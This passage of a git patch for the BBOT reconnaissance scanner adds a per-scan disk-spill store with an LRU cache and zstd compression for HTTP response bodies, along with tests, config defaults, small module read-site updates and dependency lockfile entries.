test_memory_use_deep_chain(self, benchmark): + metrics = _run_scan_subprocess( + _BENCHMARKS_DIR / "_scan_memory_deep_chain.py", + str(DEEP_CHAIN_LENGTH), + str(DEEP_CHAIN_BODY_SIZE), + ) + _record( + benchmark, + metrics, + chain_length=DEEP_CHAIN_LENGTH, + body_size=DEEP_CHAIN_BODY_SIZE, + ) + benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) + + +class TestParallelChainsMemory: + """ + Many independent chains running concurrently — closest analogue to + a real-scale scan over many domains. + + A single deep chain doesn't expose body retention because the + spider is naturally serial within a chain (one fetch at a time). + Across N independent chains, body windows overlap and bodies pile + up even though each chain is individually well-behaved. This is + the workload most relevant to the "20-hour scan over thousands of + domains" pattern where both body retention and chain retention + compound. + """ + + @pytest.mark.benchmark(group="memory_scan_patterns") + def test_memory_use_parallel_chains(self, benchmark): + metrics = _run_scan_subprocess( + _BENCHMARKS_DIR / "_scan_memory_parallel_chains.py", + str(PARALLEL_NUM_SEEDS), + str(PARALLEL_CHAIN_LENGTH), + str(PARALLEL_BODY_SIZE), + ) + _record( + benchmark, + metrics, + num_seeds=PARALLEL_NUM_SEEDS, + chain_length=PARALLEL_CHAIN_LENGTH, + body_size=PARALLEL_BODY_SIZE, + ) benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) From dccc9684fb98e0c676970f18ec16cb939d58484a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 23:10:50 -0400 Subject: [PATCH 618/912] spill HTTP_RESPONSE bodies to disk via per-scan LRU + zstd MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bodies are the dominant memory tenant in long-running scans (in our benchmarks, mid-scan body bytes peak at ~640 MB on a wide-and-busy workload). Holding them in event objects until _minimize() fires keeps Python's working set above what processing actually needs. The per-scan BodySpillStore lives at ${scan.temp_dir}/bodies/, writes zstd-compressed bytes per event UUID, and serves reads from a bounded LRU (default 512 MB, scan-config-overridable). Eviction is biggest-first with FIFO tie-break — pure LRU is wrong for BBOT's roughly-FIFO pipeline, where the oldest cache entry is typically the next event to be processed. _minimize() drops both the cache entry and the file; the existing scan-end temp_dir cleanup mops up anything that escapes. HTTP_RESPONSE.__init__ pops body from _data and routes it through the store; reads go through a new event.body property. Six module read sites migrated (telerik, ajaxpro, badsecrets, dotnetnuke, excavate, newsletters) plus the raw_response property. Measured savings on the existing scan_memory benchmarks: Cache=512MB (default): 961 -> 868 MB peak RSS (-93 MB) Cache=32MB (stress): 961 -> 395 MB peak RSS (-566 MB), 78% hit rate Hit rate stays high even with an aggressively small cache because most module reads happen close in time to body emission; the biggest-first eviction policy preserves the recent working set. --- bbot/core/event/base.py | 46 ++++- bbot/core/event/spill.py | 225 +++++++++++++++++++++++ bbot/core/helpers/web/web.py | 2 +- bbot/defaults.yml | 10 + bbot/modules/ajaxpro.py | 2 +- bbot/modules/badsecrets.py | 2 +- bbot/modules/dotnetnuke.py | 2 +- bbot/modules/internal/excavate.py | 2 +- bbot/modules/newsletters.py | 8 +- bbot/modules/telerik.py | 2 +- bbot/scanner/scanner.py | 18 ++ bbot/test/test_step_1/test_body_spill.py | 222 ++++++++++++++++++++++ pyproject.toml | 1 + uv.lock | 92 +++++++++ 14 files changed, 622 insertions(+), 12 deletions(-) create mode 100644 bbot/core/event/spill.py create mode 100644 bbot/test/test_step_1/test_body_spill.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4ffbe7dc40..d87c920c6b 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1613,6 +1613,45 @@ def __init__(self, *args, **kwargs): if str(self.http_status).startswith("3"): self.num_redirects += 1 + # Spill body to disk if a per-scan store is available. The body + # is removed from `_data` so JSON / human renderers don't see it; + # readers use the `.body` property which lazy-loads from the store. + # When spill is disabled (no store on the scan), body stays in + # `_data` and `.body` falls back to reading it from there. + store = getattr(getattr(self, "scan", None), "body_spill_store", None) + if store is not None and isinstance(self._data, dict) and "body" in self._data: + body = self._data.pop("body") + if isinstance(body, str): + body_bytes = body.encode("utf-8", errors="replace") + elif isinstance(body, (bytes, bytearray, memoryview)): + body_bytes = bytes(body) + else: + body_bytes = str(body).encode("utf-8", errors="replace") + if body_bytes: + store.write(str(self._uuid), body_bytes) + + @property + def body(self): + """ + The HTTP response body as a string. + + With spill enabled, the body lives in the per-scan ``BodySpillStore`` + (LRU cache + disk file). Cache hits are instant; misses re-read + from disk. After ``_minimize()`` fires the body is gone and this + property returns ``""``. + + With spill disabled, falls back to ``self._data["body"]``. + """ + store = getattr(getattr(self, "scan", None), "body_spill_store", None) + if store is None: + if isinstance(self._data, dict): + return self._data.get("body", "") or "" + return "" + body_bytes = store.read(str(self._uuid)) + if not body_bytes: + return "" + return body_bytes.decode("utf-8", errors="replace") + def _data_id(self): return self.data["method"] + "|" + self.data["url"] @@ -1675,6 +1714,10 @@ def _data_human(self): def _minimize(self): super()._minimize() if self._module_consumers <= 0: + store = getattr(getattr(self, "scan", None), "body_spill_store", None) + if store is not None: + store.evict_and_delete(str(self._uuid)) + # `body` may still be in _data if spill was disabled at creation self._data.pop("body", None) self._data.pop("raw_header", None) self._data.pop("header", None) @@ -1687,8 +1730,7 @@ def raw_response(self): Formats the status code, headers, and body into a single string formatted as an HTTP/1.1 response. """ raw_header = self.data.get("raw_header", "") - body = self.data.get("body", "") - return f"{raw_header}{body}" + return f"{raw_header}{self.body}" @property def http_status(self): diff --git a/bbot/core/event/spill.py b/bbot/core/event/spill.py new file mode 100644 index 0000000000..f5ac39bb0d --- /dev/null +++ b/bbot/core/event/spill.py @@ -0,0 +1,225 @@ +""" +Per-scan disk-spill store for HTTP_RESPONSE bodies. + +Bodies are the dominant memory tenant in long-running scans (in our +benchmarks, mid-scan body bytes peak at ~640 MB on a wide-and-busy +workload). Holding them in event objects until ``_minimize()`` fires +keeps Python's working set above what the actual processing pipeline +needs. + +This store keeps bodies on disk under ``${scan.temp_dir}/bodies/`` and +serves reads from a bounded LRU cache. The cache absorbs the +processing-window working set; reads only touch disk when the working +set exceeds the cache. + +Design (locked-in): + + - **Trigger**: every body always spills (never threshold-based). + - **Storage**: file-per-event, ``${scan.temp_dir}/bodies/{uuid}.body[.zst]``. + - **Compression**: zstd level 1 (configurable on/off). + - **Cache**: bounded by total bytes (default 512 MB), keyed by event + UUID, value is decompressed body bytes. + - **Eviction**: biggest-first, FIFO tie-break. (Pure LRU is wrong for + BBOT's pipeline — "least recently used" tends to be the next event + to be processed, not a candidate for eviction.) + - **Reads**: synchronous. Cache hit is instant; misses do a small + blocking read from page cache (typically microseconds). + - **Writes**: synchronous to OS page cache (a few hundred microseconds + for a typical body; OS handles actual disk flush async). + - **Lifecycle**: file + cache entry are deleted when the event's + ``_minimize()`` fires. Scan-end ``rm_rf`` of ``temp_dir`` mops up + anything that escaped. +""" + +import logging +from pathlib import Path +from typing import Optional + +import zstandard as zstd + +log = logging.getLogger("bbot.spill") + + +class BodySpillStore: + """ + LRU + on-disk store for HTTP response bodies. + + Bodies are always written to disk on insert. The LRU is a working-set + cache — hits are fast, misses re-read from disk. Eviction is + biggest-first with FIFO tie-break, which respects BBOT's roughly-FIFO + pipeline order (the oldest cache entry is typically the next event + to be processed, so the smaller-newer entries are safer to evict). + + Thread-safety: not thread-safe. Designed for single-event-loop use + inside a Scanner. Calls cross the event loop boundary only via + cooperative ``await``, but I/O itself is synchronous (page cache). + + Hit/miss accounting is exposed via ``stats()`` for benchmark and + operational visibility. + """ + + # Module-internal sentinel for evicted-but-not-deleted entries during + # iteration. Currently unused — left here for future async-write work. + _UNSET = object() + + def __init__( + self, + base_dir: Path, + cache_bytes: int = 512 * 1024 * 1024, + compress: bool = True, + compress_level: int = 1, + ): + self.base_dir = Path(base_dir) + self.base_dir.mkdir(parents=True, exist_ok=True) + self.cache_bytes = int(cache_bytes) + self.compress = bool(compress) + # Compressors are cheap to construct but reusable. + self._cctx = zstd.ZstdCompressor(level=compress_level) if compress else None + self._dctx = zstd.ZstdDecompressor() if compress else None + + # Cache value: dict with bytes + insertion sequence (for FIFO tie-break). + # {uuid: {"body": bytes, "seq": int}} + self._cache: dict[str, dict] = {} + self._cache_total_bytes = 0 + self._seq = 0 # monotonic insertion counter + + # Stats + self._hits = 0 + self._misses = 0 + self._writes = 0 + self._evictions = 0 + + # ── Public API ──────────────────────────────────────────────────── + + def write(self, event_uuid: str, body: bytes) -> None: + """ + Spill a body to disk and seed the cache. The body remains + immediately readable (cache hit) until evicted; thereafter, + reads pull from disk. + + ``body`` must be ``bytes``. Callers passing ``str`` should + ``.encode("utf-8", errors="replace")`` first. + """ + if not isinstance(body, (bytes, bytearray, memoryview)): + raise TypeError(f"body must be bytes-like, got {type(body).__name__}") + body_bytes = bytes(body) + + path = self._path_for(event_uuid) + if self.compress: + on_disk = self._cctx.compress(body_bytes) + else: + on_disk = body_bytes + + # Synchronous write to page cache. Fast (memcpy), the OS does + # the real disk flush asynchronously. + path.write_bytes(on_disk) + self._writes += 1 + + self._insert_cache(event_uuid, body_bytes) + + def read(self, event_uuid: str) -> Optional[bytes]: + """ + Return the body for ``event_uuid``, or ``None`` if neither + cache nor disk has it. + + Cache hit: instant. Cache miss + file present: small blocking + disk read (page-cached after first hit). + """ + entry = self._cache.get(event_uuid) + if entry is not None: + self._hits += 1 + return entry["body"] + + # Miss — try disk. + path = self._path_for(event_uuid) + if not path.exists(): + self._misses += 1 + return None + + on_disk = path.read_bytes() + body_bytes = self._dctx.decompress(on_disk) if self.compress else on_disk + + self._misses += 1 + self._insert_cache(event_uuid, body_bytes) + return body_bytes + + def evict_and_delete(self, event_uuid: str) -> None: + """ + Drop ``event_uuid`` from the cache and delete the file. + + Called from ``HTTP_RESPONSE._minimize()`` when the event is no + longer needed by any module. + """ + entry = self._cache.pop(event_uuid, None) + if entry is not None: + self._cache_total_bytes -= len(entry["body"]) + + path = self._path_for(event_uuid) + try: + path.unlink() + except FileNotFoundError: + pass + except Exception as e: # pragma: no cover — defensive + log.debug(f"failed to unlink spill file {path}: {e}") + + def stats(self) -> dict: + """Hit/miss/eviction counters and current cache fill.""" + total = self._hits + self._misses + hit_rate = (self._hits / total) if total else 0.0 + return { + "hits": self._hits, + "misses": self._misses, + "writes": self._writes, + "evictions": self._evictions, + "hit_rate": round(hit_rate, 4), + "cache_entries": len(self._cache), + "cache_bytes": self._cache_total_bytes, + "cache_bytes_limit": self.cache_bytes, + } + + # ── Internal ────────────────────────────────────────────────────── + + def _path_for(self, event_uuid: str) -> Path: + suffix = ".body.zst" if self.compress else ".body" + return self.base_dir / f"{event_uuid}{suffix}" + + def _insert_cache(self, event_uuid: str, body_bytes: bytes) -> None: + """Insert into cache, evicting biggest-first / oldest-first as needed.""" + body_size = len(body_bytes) + + # Replace existing entry if present (keeps semantics simple if a + # body is rewritten — currently never happens, but cheap insurance). + existing = self._cache.pop(event_uuid, None) + if existing is not None: + self._cache_total_bytes -= len(existing["body"]) + + # If a single body exceeds the entire cache budget, don't try + # to cache it — disk reads will be the only path. + if body_size > self.cache_bytes: + return + + # Evict until there's room. + while self._cache_total_bytes + body_size > self.cache_bytes and self._cache: + self._evict_one() + + self._seq += 1 + self._cache[event_uuid] = {"body": body_bytes, "seq": self._seq} + self._cache_total_bytes += body_size + + def _evict_one(self) -> None: + """Pick a victim by ``(-size, seq)`` — biggest-first, FIFO tie-break.""" + # Single-pass min: maximize size, minimize seq among ties. + victim_uuid = None + victim_size = -1 + victim_seq = float("inf") + for u, entry in self._cache.items(): + sz = len(entry["body"]) + if sz > victim_size or (sz == victim_size and entry["seq"] < victim_seq): + victim_uuid = u + victim_size = sz + victim_seq = entry["seq"] + if victim_uuid is None: # pragma: no cover — empty cache, defensive + return + entry = self._cache.pop(victim_uuid) + self._cache_total_bytes -= len(entry["body"]) + self._evictions += 1 diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 7d9bb18ff1..aded0c0de0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -597,7 +597,7 @@ def beautifulsoup( - Write tests for this function Examples: - >>> soup = self.helpers.beautifulsoup(event.data["body"], "html.parser") + >>> soup = self.helpers.beautifulsoup(event.body, "html.parser") Perform an html parse of the 'markup' argument and return a soup instance >>> email_type = soup.find(type="email") diff --git a/bbot/defaults.yml b/bbot/defaults.yml index c1394f135a..9a2272c963 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -128,6 +128,16 @@ web: # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 + # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap. + # Bodies are written to ${scan_home}/temp/bodies/{uuid}.body.zst and served + # from a bounded LRU cache; only cache misses touch disk. + body_spill: + # Master switch + enabled: true + # In-memory LRU cache budget for hot bodies, in MB + cache_mb: 512 + # zstd level-1 compression on the way to disk + compress: true ### ENGINE ### diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index bdbebdab52..846133cc5c 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -36,7 +36,7 @@ async def check_url_event(self, event): await self.confirm_exploitability(probe_url, event) async def check_http_response_event(self, event): - resp_body = event.data.get("body") + resp_body = event.body if resp_body: match = await self.helpers.re.search(self.ajaxpro_regex, resp_body) if match: diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index ec673cce12..582fb45b99 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -37,7 +37,7 @@ def _module_threads(self): return min(4, max(1, multiprocessing.cpu_count() - 1)) async def handle_event(self, event): - resp_body = event.data.get("body", None) + resp_body = event.body resp_headers = event.data.get("header", None) resp_cookies = {} if resp_headers: diff --git a/bbot/modules/dotnetnuke.py b/bbot/modules/dotnetnuke.py index 539eab69a5..b99a7eeca0 100644 --- a/bbot/modules/dotnetnuke.py +++ b/bbot/modules/dotnetnuke.py @@ -83,7 +83,7 @@ async def handle_event(self, event): ) detected = True break - resp_body = event.data.get("body", None) + resp_body = event.body if resp_body: for body_signature in self.DNN_signatures_body: if body_signature in resp_body: diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 893dcc4300..856c86ea4b 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1206,7 +1206,7 @@ async def handle_event(self, event, **kwargs): ) # process response data - body = event.data.get("body", "") + body = event.body headers = event.data.get("header-dict", {}) if body == "" and headers == {}: return diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 409c295689..988bac001c 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -38,12 +38,12 @@ def find_type(self, soup): async def handle_event(self, event): _event = event - # Call find_type Function if Webpage return Status Code 200 && "body" is found in event.data + # Call find_type Function if Webpage return Status Code 200 && body is non-empty # Ex: 'bbot -m blasthttp newsletters -t https://apf-api.eng.vn.cloud.tesla.com' returns - # Status Code 200 but does NOT have event.data["body"] + # Status Code 200 but does NOT have a response body if _event.data["status_code"] == 200: - if "body" in _event.data: - body = _event.data["body"] + body = _event.body + if body: soup = self.helpers.beautifulsoup(body, "html.parser") if soup is False: self.debug("BeautifulSoup returned False") diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 7cfc761d4d..af795ba71e 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -378,7 +378,7 @@ async def handle_event(self, event): ) elif event.type == "HTTP_RESPONSE": - resp_body = event.data.get("body", None) + resp_body = event.body url = event.url if resp_body: if '":{"SerializedParameters":"' in resp_body: diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index edfe5ca8db..bdedce36dd 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -250,6 +250,15 @@ def __init__( "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by blasthttp." ) + # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap. + # See bbot/core/event/spill.py for design notes. Created in _prep() + # once temp_dir exists. + body_spill_config = web_config.get("body_spill", {}) + self.body_spill_enabled = bool(body_spill_config.get("enabled", True)) + self.body_spill_cache_mb = int(body_spill_config.get("cache_mb", 512)) + self.body_spill_compress = bool(body_spill_config.get("compress", True)) + self.body_spill_store = None + # url file extensions self.url_extension_special = {e.lower() for e in self.config.get("url_extension_special", [])} self.url_extension_blacklist = {e.lower() for e in self.config.get("url_extension_blacklist", [])} @@ -306,6 +315,15 @@ async def _prep(self): self.helpers.mkdir(self.home) self.helpers.mkdir(self.temp_dir) + if self.body_spill_enabled and self.body_spill_store is None: + from bbot.core.event.spill import BodySpillStore + + self.body_spill_store = BodySpillStore( + self.temp_dir / "bodies", + cache_bytes=self.body_spill_cache_mb * 1024 * 1024, + compress=self.body_spill_compress, + ) + if not self._modules_loaded: self.modules = OrderedDict({}) self.dummy_modules = {} diff --git a/bbot/test/test_step_1/test_body_spill.py b/bbot/test/test_step_1/test_body_spill.py new file mode 100644 index 0000000000..bf6c49dd66 --- /dev/null +++ b/bbot/test/test_step_1/test_body_spill.py @@ -0,0 +1,222 @@ +""" +Tests for HTTP_RESPONSE body disk-spill (``bbot.core.event.spill``). + +Two layers: + - ``TestBodySpillStore``: direct unit tests of the LRU + disk store. + - ``TestHTTPResponseSpill``: integration tests asserting that + HTTP_RESPONSE events route bodies through the spill store when one + is attached to the scan, and fall back to in-memory data when not. +""" + +import pytest + +from bbot.core.event.spill import BodySpillStore + +from ..bbot_fixtures import * # noqa: F401, F403 + + +# ── BodySpillStore unit tests ───────────────────────────────────────── + + +class TestBodySpillStore: + def test_roundtrip_compressed(self, tmp_path): + store = BodySpillStore(tmp_path, cache_bytes=4096, compress=True) + # Every byte value plus some recognizable binary magic. If a UTF-8 + # round-trip ever sneaks back in, this body would be corrupted. + raw = bytes(range(256)) + b"PK\x03\x04hello" + store.write("uuid-1", raw) + assert store.read("uuid-1") == raw + + def test_roundtrip_uncompressed(self, tmp_path): + store = BodySpillStore(tmp_path, cache_bytes=4096, compress=False) + raw = b"hello world\x00\xff" + store.write("uuid-1", raw) + assert store.read("uuid-1") == raw + + def test_cache_hit_does_not_touch_disk(self, tmp_path): + # After write, body is in cache. Delete the file. Read should still + # succeed because the cache holds the body. + store = BodySpillStore(tmp_path, cache_bytes=4096) + store.write("uuid-1", b"hello") + for f in tmp_path.iterdir(): + f.unlink() + assert store.read("uuid-1") == b"hello" + + def test_cache_miss_loads_from_disk(self, tmp_path): + # Force eviction by inserting another body that pushes the first out. + store = BodySpillStore(tmp_path, cache_bytes=200, compress=False) + store.write("a", b"X" * 150) + store.write("b", b"Y" * 150) # would total 300 — must evict 'a' + assert "a" not in store._cache + # 'a' is still on disk; reading should miss the cache and fetch it. + prior_misses = store.stats()["misses"] + assert store.read("a") == b"X" * 150 + assert store.stats()["misses"] == prior_misses + 1 + + def test_eviction_biggest_first(self, tmp_path): + """ + Cache budget of 300; insert small (50), medium (100), then big (200). + big triggers eviction. Among current cache contents (small=50, + medium=100), biggest-first picks medium. + """ + store = BodySpillStore(tmp_path, cache_bytes=300, compress=False) + store.write("small", b"X" * 50) + store.write("medium", b"Y" * 100) + store.write("big", b"Z" * 200) + assert "small" in store._cache + assert "big" in store._cache + assert "medium" not in store._cache + assert store.stats()["evictions"] == 1 + + def test_eviction_fifo_tiebreak(self, tmp_path): + """ + Two equal-size entries. Inserting a third forces eviction; the + older one (smaller seq) goes first. + """ + store = BodySpillStore(tmp_path, cache_bytes=200, compress=False) + store.write("first", b"A" * 100) + store.write("second", b"B" * 100) # cache full at 200 + store.write("new", b"C" * 50) # forces eviction of 'first' + assert "first" not in store._cache + assert "second" in store._cache + assert "new" in store._cache + + def test_oversized_body_skips_cache(self, tmp_path): + """A body bigger than the entire cache budget is written to disk + but never enters the cache (would force-evict everything else + for nothing).""" + store = BodySpillStore(tmp_path, cache_bytes=100, compress=False) + store.write("huge", b"X" * 500) + assert "huge" not in store._cache + # Still readable from disk + assert store.read("huge") == b"X" * 500 + + def test_evict_and_delete_removes_file_and_cache(self, tmp_path): + store = BodySpillStore(tmp_path, cache_bytes=4096) + store.write("uuid-1", b"hello") + assert any(tmp_path.iterdir()) + store.evict_and_delete("uuid-1") + assert "uuid-1" not in store._cache + assert not list(tmp_path.iterdir()) + # Subsequent reads return None + assert store.read("uuid-1") is None + + def test_stats(self, tmp_path): + store = BodySpillStore(tmp_path, cache_bytes=4096) + store.write("a", b"hello") + store.read("a") # hit + store.read("nonexistent") # miss + nothing on disk + s = store.stats() + assert s["hits"] == 1 + assert s["misses"] == 1 + assert s["writes"] == 1 + assert s["hit_rate"] == 0.5 + + def test_empty_body_not_written(self, tmp_path): + # Caller is expected to skip empty bodies; the store doesn't enforce + # but should at least roundtrip cleanly. + store = BodySpillStore(tmp_path, cache_bytes=4096) + store.write("empty", b"") + # zstd-compressed empty bytes is still a small frame; we should + # be able to round-trip to b"". + assert store.read("empty") == b"" + + def test_rejects_non_bytes(self, tmp_path): + store = BodySpillStore(tmp_path, cache_bytes=4096) + with pytest.raises(TypeError): + store.write("uuid-1", "string-not-bytes") # type: ignore[arg-type] + + +# ── HTTP_RESPONSE event integration tests ──────────────────────────── + + +@pytest.fixture +def fake_response_data(): + """Minimal valid HTTP_RESPONSE data dict.""" + return { + "url": "http://example.com:80/", + "input": "http://example.com:80/", + "method": "GET", + "path": "/", + "host": "example.com", + "status_code": 200, + "title": "Example", + "raw_header": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n", + "header": {"content_type": "text/html"}, + "content_type": "text/html", + "content_length": 23, + "body": "hi", + "location": "", + "hash": { + "body_md5": "x" * 32, + "body_mmh3": "0", + "body_sha256": "x" * 64, + "header_md5": "x" * 32, + "header_mmh3": "0", + "header_sha256": "x" * 64, + }, + } + + +class TestHTTPResponseSpill: + @pytest.mark.asyncio + async def test_body_routed_through_spill_store(self, bbot_scanner, fake_response_data): + """When a scan has a body_spill_store, body is removed from _data + and accessed via event.body which reads from the store.""" + scan = bbot_scanner("http://example.com") + await scan._prep() + assert scan.body_spill_store is not None, "body_spill_store should be created in _prep" + + event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event) + # body should NOT be in _data (it's been spilled) + assert "body" not in event._data + # but event.body should still return the original body + assert event.body == "hi" + # And the spill store has it + assert scan.body_spill_store.stats()["writes"] >= 1 + + @pytest.mark.asyncio + async def test_minimize_evicts_and_deletes(self, bbot_scanner, fake_response_data): + """When _minimize() drops _module_consumers to 0, the body file + and cache entry should be removed.""" + scan = bbot_scanner("http://example.com") + await scan._prep() + + event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event) + # Force a normal lifecycle: bump consumers up then drain to 0 + event._module_consumers = 1 + event._minimize() # drops to 0 → triggers eviction + # After minimize, body should be gone + assert event.body == "" + # File should be deleted + bodies_dir = scan.temp_dir / "bodies" + assert not list(bodies_dir.iterdir()) or all(str(event._uuid) not in p.name for p in bodies_dir.iterdir()) + + @pytest.mark.asyncio + async def test_disabled_falls_back_to_in_memory(self, bbot_scanner, fake_response_data): + """When body_spill is disabled in config, body stays in _data and + event.body falls through to it.""" + scan = bbot_scanner( + "http://example.com", + config={"web": {"body_spill": {"enabled": False}}}, + ) + await scan._prep() + assert scan.body_spill_store is None, "store should not be created when disabled" + + event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event) + # body remains in _data + assert event._data.get("body") == "hi" + # event.body still works + assert event.body == "hi" + + @pytest.mark.asyncio + async def test_raw_response_uses_spilled_body(self, bbot_scanner, fake_response_data): + """The raw_response property should reconstruct the body from + the spill store, not from _data.""" + scan = bbot_scanner("http://example.com") + await scan._prep() + + event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event) + raw = event.raw_response + assert "hi" in raw + assert "HTTP/1.1 200 OK" in raw diff --git a/pyproject.toml b/pyproject.toml index 12a3ecc755..3eed1ee0c0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -50,6 +50,7 @@ dependencies = [ "cloudcheck>=9.2.0,<10", "blasthttp>=0.5.1", "blastdns>=1.9.0,<2", + "zstandard>=0.22,<1", ] [project.urls] diff --git a/uv.lock b/uv.lock index 6a6836d936..017946c72b 100644 --- a/uv.lock +++ b/uv.lock @@ -226,6 +226,7 @@ dependencies = [ { name = "xmltojson" }, { name = "xxhash" }, { name = "yara-python" }, + { name = "zstandard" }, ] [package.dev-dependencies] @@ -298,6 +299,7 @@ requires-dist = [ { name = "xmltojson", specifier = ">=2.0.2,<3" }, { name = "xxhash", specifier = ">=3.5.0,<4" }, { name = "yara-python", specifier = "==4.5.2" }, + { name = "zstandard", specifier = ">=0.22,<1" }, ] [package.metadata.requires-dev] @@ -3461,3 +3463,93 @@ sdist = { url = "https://files.pythonhosted.org/packages/e3/02/0f2892c661036d50e wheels = [ { url = "https://files.pythonhosted.org/packages/2e/54/647ade08bf0db230bfea292f893923872fd20be6ac6f53b2b936ba839d75/zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e", size = 10276, upload-time = "2025-06-08T17:06:38.034Z" }, ] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = 